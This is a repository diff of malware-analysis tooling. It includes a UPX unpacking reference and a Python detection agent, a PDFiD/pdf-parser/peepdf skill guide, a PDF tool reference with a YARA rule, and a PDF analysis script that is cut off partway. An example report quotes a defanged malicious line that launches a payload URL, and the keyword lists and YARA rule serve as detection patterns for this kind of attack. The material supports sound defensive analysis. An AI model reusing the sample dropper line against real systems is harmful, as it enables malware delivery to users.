### Syntax
```bash
upx -d <packed_file> # Decompress/unpack
upx -d -o <output> <packed_file> # Unpack to new file
upx -t <file> # Test if packed
upx -l <file> # List compression info
upx --version # Version info
```
### Output Format
```
File size Ratio Format Name
-------------------- ------ ----------- -----------
184320 <- 98304 53.33% win32/pe malware.exe
```
## pefile - Python PE Analysis
### Usage
```python
import pefile
pe = pefile.PE("sample.exe")
# Section analysis
for section in pe.sections:
name = section.Name.rstrip(b"\x00").decode()
entropy = section.get_entropy()
print(f"{name}: entropy={entropy:.2f}")
# Import analysis
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = entry.dll.decode()
for imp in entry.imports:
print(f"{dll}: {imp.name}")
pe.close()
```
### Packing Indicators
| Indicator | Threshold |
|-----------|-----------|
| Section entropy | > 7.0 (high, likely packed/encrypted) |
| Import count | < 10 (few imports suggest packing) |
| Virtual/Raw ratio | > 5x (large in-memory expansion) |
| Section names | UPX0, UPX1, .packed, .nsp |
## Detect It Easy (DIE) - Packer Identification
### Syntax
```bash
diec <sample.exe> # CLI scan
diec -j <sample.exe> # JSON output
```
### Output
```
PE32 executable
Packer: UPX(3.96)[NRV2B_LE32,best]
Compiler: MSVC(2019)
```
## PEiD - Packer Identification (Legacy)
### Packer Signatures Database
| Packer | Section Names | Magic Bytes |
|--------|---------------|-------------|
| UPX | UPX0, UPX1, UPX2 | `UPX!` at end of file |
| ASPack | .aspack, .adata | N/A |
| PECompact | .pec1, .pec2 | N/A |
| Themida | Various | Encrypted sections |
| VMProtect | .vmp0, .vmp1 | Virtualized code |
## PEStudio - Static PE Analysis
### Key Indicators
| Check | Description |
|-------|-------------|
| Entropy | Section-level entropy analysis |
| Imports | API import analysis |
| Strings | Embedded string extraction |
| Signatures | Packer/compiler identification |
| Virustotal | Hash-based lookup |
## x64dbg / x32dbg - Dynamic Unpacking
### Generic Unpacking Steps
```
1. Set breakpoint on VirtualAlloc / VirtualProtect
2. Run until breakpoint
3. Check memory map for new RWX regions
4. Step until original entry point (OEP) reached
5. Dump memory at OEP using Scylla plugin
6. Fix import table with Scylla
```
### Key API Breakpoints
| API | Purpose |
|-----|---------|
| `VirtualAlloc` | Memory allocation for unpacked code |
| `VirtualProtect` | Change memory protection (RWX) |
| `LoadLibraryA` | Load DLLs for import resolution |
| `GetProcAddress` | Resolve API addresses |
| `NtWriteVirtualMemory` | Write unpacked code to memory |
## Entropy Interpretation
| Range | Interpretation |
|-------|---------------|
| 0-1 | Nearly empty/uniform data |
| 1-5 | Normal code/data |
| 5-7 | Compressed or obfuscated |
| 7-8 | Encrypted or packed (maximum ~8.0) |

View File

@@ -0,0 +1,241 @@
#!/usr/bin/env python3
"""Packed malware analysis agent for UPX and generic packer detection and unpacking."""
import subprocess
import os
import sys
import hashlib
import math
from collections import Counter
try:
import pefile
HAS_PEFILE = True
except ImportError:
HAS_PEFILE = False
def compute_hashes(filepath):
"""Compute file hashes."""
md5 = hashlib.md5()
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
md5.update(chunk)
sha256.update(chunk)
return {"md5": md5.hexdigest(), "sha256": sha256.hexdigest()}
def calculate_entropy(data):
"""Calculate Shannon entropy of binary data."""
if not data:
return 0.0
counter = Counter(data)
length = len(data)
return round(-sum((c / length) * math.log2(c / length) for c in counter.values()), 4)
def detect_upx(filepath):
"""Check for UPX packing signatures in the binary."""
indicators = []
with open(filepath, "rb") as f:
data = f.read()
if b"UPX!" in data:
indicators.append("UPX! magic string found in binary")
if b"UPX0" in data:
indicators.append("UPX0 section name found")
if b"UPX1" in data:
indicators.append("UPX1 section name found")
if b"UPX2" in data:
indicators.append("UPX2 section name found")
# Check for corrupted/modified UPX headers
upx_pos = data.find(b"UPX!")
if upx_pos != -1:
# UPX version info follows the magic
if upx_pos + 24 <= len(data):
version_byte = data[upx_pos + 4]
indicators.append(f"UPX version byte: 0x{version_byte:02X}")
return indicators
def detect_generic_packing(filepath):
"""Detect generic packing indicators using PE section analysis."""
if not HAS_PEFILE:
return {"error": "pefile not installed: pip install pefile"}
try:
pe = pefile.PE(filepath)
except pefile.PEFormatError:
return {"error": "Not a valid PE file"}
indicators = []
sections = []
high_entropy_count = 0
for section in pe.sections:
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
entropy = section.get_entropy()
raw_size = section.SizeOfRawData
virtual_size = section.Misc_VirtualSize
sections.append({
"name": name,
"entropy": round(entropy, 4),
"raw_size": raw_size,
"virtual_size": virtual_size,
"ratio": round(virtual_size / raw_size, 2) if raw_size > 0 else 0,
})
if entropy > 7.0:
high_entropy_count += 1
indicators.append(f"High entropy section: {name} ({entropy:.2f})")
if virtual_size > raw_size * 5 and raw_size > 0:
indicators.append(f"Suspicious size ratio in {name}: virtual/raw = {virtual_size/raw_size:.1f}x")
imports = []
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll_name = entry.dll.decode("utf-8", errors="replace")
func_count = len(entry.imports)
imports.append({"dll": dll_name, "functions": func_count})
total_imports = sum(i["functions"] for i in imports)
if total_imports < 10:
indicators.append(f"Very few imports ({total_imports}) - typical of packed binaries")
# Check for LoadLibrary/GetProcAddress (runtime import resolution)
import_names = []
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
for imp in entry.imports:
if imp.name:
import_names.append(imp.name.decode("utf-8", errors="replace"))
if "LoadLibraryA" in import_names and "GetProcAddress" in import_names:
indicators.append("LoadLibraryA + GetProcAddress present (runtime import resolution)")
pe.close()
return {
"sections": sections,
"imports": imports,
"total_imports": total_imports,
"high_entropy_sections": high_entropy_count,
"indicators": indicators,
"likely_packed": high_entropy_count > 0 or total_imports < 10,
}
def unpack_upx(filepath, output_path=None):
"""Attempt to unpack a UPX-packed binary."""
if output_path is None:
output_path = filepath + ".unpacked"
# First try standard UPX decompression
cmd = ["upx", "-d", "-o", output_path, filepath]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode == 0:
return True, "Standard UPX unpack succeeded", output_path
# If standard fails, try fixing UPX headers
return False, result.stderr.strip(), None
def fix_upx_headers(filepath, output_path):
"""Attempt to fix corrupted UPX magic bytes for unpacking."""
with open(filepath, "rb") as f:
data = bytearray(f.read())
# Look for known UPX section names that might be renamed
modified = False
# Common modifications: UPX0/UPX1 renamed to something else
for i in range(len(data) - 3):
# Look for section header pattern near typical PE section table location
if data[i:i+3] in [b"UP0", b"UP1", b"UX0", b"UX1"]:
# Might be modified UPX section name
pass
# Fix UPX! magic if corrupted
for i in range(len(data) - 4):
if data[i:i+2] == b"UX" and data[i+2:i+4] == b"!\x00":
data[i:i+3] = b"UPX"
modified = True
if modified:
with open(output_path, "wb") as f:
f.write(data)
return True
return False
def compare_packed_unpacked(packed_path, unpacked_path):
"""Compare packed vs unpacked binary properties."""
if not HAS_PEFILE:
return {}
comparison = {}
for label, path in [("packed", packed_path), ("unpacked", unpacked_path)]:
try:
pe = pefile.PE(path)
imports = 0
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
imports += len(entry.imports)
sections = len(pe.sections)
pe.close()
comparison[label] = {
"size": os.path.getsize(path),
"sections": sections,
"imports": imports,
"sha256": compute_hashes(path)["sha256"],
}
except Exception as e:
comparison[label] = {"error": str(e)}
return comparison
if __name__ == "__main__":
print("=" * 60)
print("Packed Malware Analysis Agent")
print("UPX detection, packer identification, automated unpacking")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if target and os.path.exists(target):
print(f"\n[*] Analyzing: {target}")
hashes = compute_hashes(target)
print(f"[*] SHA-256: {hashes['sha256']}")
print(f"[*] Size: {os.path.getsize(target)} bytes")
print("\n--- UPX Signature Check ---")
upx_indicators = detect_upx(target)
for ind in upx_indicators:
print(f" [!] {ind}")
print("\n--- Generic Packing Analysis ---")
packing = detect_generic_packing(target)
if "error" not in packing:
print(f" Likely packed: {packing['likely_packed']}")
print(f" Total imports: {packing['total_imports']}")
print(f" High entropy sections: {packing['high_entropy_sections']}")
for ind in packing.get("indicators", []):
print(f" [!] {ind}")
print("\n Sections:")
for s in packing.get("sections", []):
flag = " [HIGH]" if s["entropy"] > 7.0 else ""
print(f" {s['name']:10s} entropy={s['entropy']:.2f} "
f"raw={s['raw_size']} virt={s['virtual_size']}{flag}")
if upx_indicators:
print("\n--- UPX Unpacking ---")
success, msg, output = unpack_upx(target)
if success:
print(f" [OK] {msg}")
print(f" [*] Unpacked file: {output}")
print("\n--- Comparison ---")
comp = compare_packed_unpacked(target, output)
for label, data in comp.items():
if "error" not in data:
print(f" {label}: size={data['size']}, "
f"sections={data['sections']}, imports={data['imports']}")
else:
print(f" [FAIL] {msg}")
print(" [*] Try fixing UPX headers or use dynamic unpacking with a debugger")
else:
print(f"\n[DEMO] Usage: python agent.py <packed_binary.exe>")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,357 @@
---
name: analyzing-pdf-malware-with-pdfid
description: 'Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to
identify embedded JavaScript, shellcode, exploits, and suspicious objects without
opening the document. Determines the attack vector and extracts embedded payloads
for further analysis. Activates for requests involving PDF malware analysis, malicious
document analysis, PDF exploit investigation, or suspicious attachment triage.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- PDF-analysis
- document-malware
- PDFiD
- static-analysis
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1204.002
- T1566.001
- T1059.007
- T1027
---
# Analyzing PDF Malware with PDFiD
## When to Use
- A suspicious PDF attachment has been flagged by email security or reported by a user
- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
- Triaging PDF documents before opening them in a sandbox or analysis environment
- Extracting embedded executables, scripts, or URLs from malicious PDF objects
- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities
**Do not use** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.
## Prerequisites
- Python 3.8+ with Didier Stevens' PDF tools installed (`pip install pdfid pdf-parser`)
- peepdf installed for interactive PDF analysis (`pip install peepdf`)
- pdftotext from poppler-utils for extracting text content safely
- YARA with PDF-specific rules for malware family identification
- Isolated analysis VM without a PDF reader installed (prevent accidental opening)
- CyberChef for decoding embedded Base64, hex, or deflate streams
## Workflow
### Step 1: Initial Triage with PDFiD
Scan the PDF for suspicious keywords and structures:
```bash
# Run PDFiD to identify suspicious elements
pdfid suspect.pdf
# Expected output analysis:
# /JS - JavaScript (HIGH risk)
# /JavaScript - JavaScript object (HIGH risk)
# /AA - Auto-Action triggered on open (HIGH risk)
# /OpenAction - Action on document open (HIGH risk)
# /Launch - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia - Flash content (MEDIUM risk)
# /ObjStm - Object stream (used for obfuscation)
# /URI - URL reference (contextual risk)
# /AcroForm - Interactive form (MEDIUM risk)
# Run with extra detail
pdfid -e suspect.pdf
# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
```
```
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
/JS, /JavaScript -> Embedded JavaScript code
/AA -> Automatic Action (triggers without user interaction)
/OpenAction -> Code runs when document is opened
/Launch -> Can launch external executables
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
MEDIUM RISK indicators:
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
/RichMedia -> Flash/multimedia (Flash exploits)
/AcroForm -> Form with possible submit action
/XFA -> XML Forms Architecture (complex attack surface)
LOW RISK indicators:
/ObjStm -> Object streams (obfuscation technique)
/URI -> External URL references
/Page -> Number of pages (context only)
```
### Step 2: Parse PDF Structure with pdf-parser
Examine suspicious objects identified by PDFiD:
```bash
# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf
# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf
# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf
# List all objects with their types
pdf-parser --stats suspect.pdf
```
### Step 3: Extract and Analyze Embedded JavaScript
Pull out JavaScript code from PDF objects:
```bash
# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf interactive commands for JS analysis:
# js_analyse - Extract and show all JavaScript code
# js_beautify - Format extracted JavaScript
# js_eval <object> - Evaluate JavaScript in sandboxed environment
# object <id> - Display object content
# rawobject <id> - Display raw object bytes
# stream <id> - Display decompressed stream
# offsets - Show object offsets in file
```
```python
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re
# Extract all streams and search for JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Extract each JavaScript-containing object
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Object {obj_id} ===")
print(result.stdout[:2000])
```
### Step 4: Analyze Embedded Shellcode
Extract and examine shellcode from PDF exploits:
```bash
# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin
# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86
```
### Step 5: Extract Embedded Files and URLs
Pull out embedded executables and linked resources:
```python
# Extract embedded files from PDF
import subprocess
import hashlib
# Find embedded file objects
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
data = f.read()
# Search for embedded PE files
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# Verify PE signature
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"Embedded PE found at offset 0x{pos:X}")
# Extract (estimate size or use PE header)
embedded = data[pos:pos+100000] # Initial extraction
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# Extract URLs from PDF
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
```
### Step 6: Generate Analysis Report
Document all findings from the PDF analysis:
```
Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families
```
## Key Concepts
| Term | Definition |
|------|------------|
| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |
| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |
| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |
| **FlateDecode** | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents |
| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |
| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |
## Tools & Systems
- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls
## Common Scenarios
### Scenario: Triaging a Phishing PDF with Embedded JavaScript
**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.
**Approach**:
1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
2. Use pdf-parser to extract the OpenAction object and follow its reference chain
3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
6. Extract all URLs, IPs, and embedded files as IOCs
7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)
**Pitfalls**:
- Opening the PDF in a standard reader instead of analyzing it with command-line tools
- Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
- Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)
## Output Format
```
PDF MALWARE ANALYSIS REPORT
==============================
File: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Size: 45,312 bytes
PDF Version: 1.7
PDFID TRIAGE
/JS: 1 [HIGH RISK]
/JavaScript: 1 [HIGH RISK]
/OpenAction: 1 [HIGH RISK]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OBFUSCATION]
SUSPICIOUS OBJECTS
Object 5: /OpenAction -> references Object 8
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12: /ObjStm containing objects 15-18
EXTRACTED JAVASCRIPT
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Social engineering redirect, not exploit
EXTRACTED IOCs
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domains: malicious[.]com, fake-login[.]com
CLASSIFICATION
Type: Social Engineering (URL redirect)
CVE: None (no exploit code detected)
Risk: HIGH (downloads executable payload)
Family: Generic PDF Dropper
```

View File

@@ -0,0 +1,119 @@
# API Reference: PDF Malware Analysis Tools
## PDFiD - PDF Keyword Scanner
### Syntax
```bash
pdfid.py document.pdf
pdfid.py -n document.pdf # Show all keywords (including zero counts)
pdfid.py -e document.pdf # Extra data (entropy)
pdfid.py -f document.pdf # Force scan (ignore header)
```
### Suspicious Keywords
| Keyword | Risk | Description |
|---------|------|-------------|
| `/JS` | HIGH | JavaScript code |
| `/JavaScript` | HIGH | JavaScript action |
| `/AA` | HIGH | Additional Actions (auto-execute) |
| `/OpenAction` | HIGH | Action on document open |
| `/Launch` | HIGH | Launch external application |
| `/EmbeddedFile` | MEDIUM | Embedded file object |
| `/AcroForm` | MEDIUM | Interactive form |
| `/JBIG2Decode` | HIGH | JBIG2 exploit vector (CVE-2009-0658) |
| `/RichMedia` | MEDIUM | Flash/multimedia content |
| `/XFA` | MEDIUM | XML Forms (script capable) |
| `/ObjStm` | LOW | Object streams (can hide objects) |
### Output Format
```
PDF Header: %PDF-1.7
obj 45
endobj 45
stream 12
/JS 2
/JavaScript 1
/OpenAction 1
/EmbeddedFile 0
```
## pdf-parser.py - PDF Object Parser
### Syntax
```bash
pdf-parser.py document.pdf # List all objects
pdf-parser.py -o 5 document.pdf # Show object 5
pdf-parser.py -s "/JS" document.pdf # Search for keyword
pdf-parser.py -f document.pdf # Filter streams
pdf-parser.py -c document.pdf # Show raw content
pdf-parser.py -d 5 document.pdf # Dump stream of object 5
pdf-parser.py --object 5 --filter document.pdf # Decompress stream
```
## peepdf - Interactive PDF Analysis
### Syntax
```bash
peepdf -i document.pdf # Interactive mode
peepdf -f document.pdf # Force analysis
peepdf -l document.pdf # Loose mode
```
### Interactive Commands
```
info # Document summary
tree # Object tree
object 5 # Show object
stream 5 # Show stream content
js_analyse # Analyze all JavaScript
extract js > output.js # Extract JavaScript
```
## Known PDF Exploit CVEs
| CVE | Component | Description |
|-----|-----------|-------------|
| CVE-2009-0658 | JBIG2Decode | Buffer overflow in JBIG2 decoder |
| CVE-2009-0927 | Collab.getIcon | JavaScript method exploit |
| CVE-2008-2992 | util.printf | Format string vulnerability |
| CVE-2010-0188 | LibTIFF | TIFF image processing overflow |
| CVE-2013-0640 | XFA | XML Forms Architecture exploit |
| CVE-2018-4990 | EmbeddedFile | Double-free in embedded files |
## YARA Rules for PDF Malware
### Example Rule
```yara
rule PDF_Suspicious {
meta:
description = "PDF with JavaScript and auto-execution"
strings:
$pdf = "%PDF-"
$js = "/JS" nocase
$openaction = "/OpenAction"
$launch = "/Launch"
condition:
$pdf at 0 and ($js and $openaction) or $launch
}
```
## Python PDF Libraries
### PyPDF2
```python
from PyPDF2 import PdfReader
reader = PdfReader("document.pdf")
print(len(reader.pages))
for page in reader.pages:
print(page.extract_text())
```
### pikepdf
```python
import pikepdf
pdf = pikepdf.open("document.pdf")
for obj_num in pdf.objects:
obj = pdf.get_object(obj_num)
if "/JS" in str(obj):
print(f"JavaScript in object {obj_num}")
```

View File

@@ -0,0 +1,240 @@
#!/usr/bin/env python3
"""PDF malware analysis agent using pdfid concepts and pdf-parser for object extraction."""
import re
import os
import sys
import hashlib
import zlib
def compute_hash(filepath):
"""Compute SHA-256 hash of a file."""
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
PDF_SUSPICIOUS_KEYWORDS = {
"/JS": "JavaScript (embedded script execution)",
"/JavaScript": "JavaScript action",
"/AA": "Additional Actions (auto-execute triggers)",
"/OpenAction": "Action on document open",
"/AcroForm": "Interactive form (can contain JavaScript)",
"/JBIG2Decode": "JBIG2 decoder (CVE-2009-0658 exploit vector)",
"/RichMedia": "Rich media / Flash content",
"/Launch": "Launch action (execute external file)",
